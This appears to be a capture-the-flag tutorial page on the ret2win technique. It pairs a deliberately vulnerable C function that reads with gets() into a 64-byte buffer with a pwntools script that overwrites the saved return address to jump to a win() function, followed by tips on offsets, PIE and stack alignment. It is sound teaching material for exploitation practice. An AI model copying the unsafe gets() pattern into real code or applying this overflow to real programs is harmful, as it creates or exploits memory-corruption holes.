Skip to content

Ret2win

Idea: replace the saved return address with the address of a function that already performs the challenge’s success action.

void win(void) {
puts("You win");
}
void vuln(void) {
char buf[64];
gets(buf);
}

Measure offset with a cyclic pattern and get win from the ELF symbols or Ghidra.

from pwn import *
context.binary = elf = ELF("./ret2win", checksec=False)
offset = 72 # replace with the measured offset for this binary
win = elf.symbols["win"]
p = process(elf.path)
payload = flat({offset: win}) # flat packs an address using the ELF architecture
p.sendlineafter(b"> ", payload) # replace with the prompt, or use p.sendline(payload)
p.interactive()
  1. Confirm the cyclic offset at the saved return slot; do not use the buffer’s declared size as the offset.
  2. Confirm win is a runtime-valid address. For PIE, add the current executable base; a static address alone will move between runs.
  3. If an x86-64 target crashes at a library call inside win, inspect stack alignment. A single ret gadget before win may be needed.

For a 32-bit custom stack adjustment, use the stack-pivot recipe. For multi-gadget register setup, see ROP.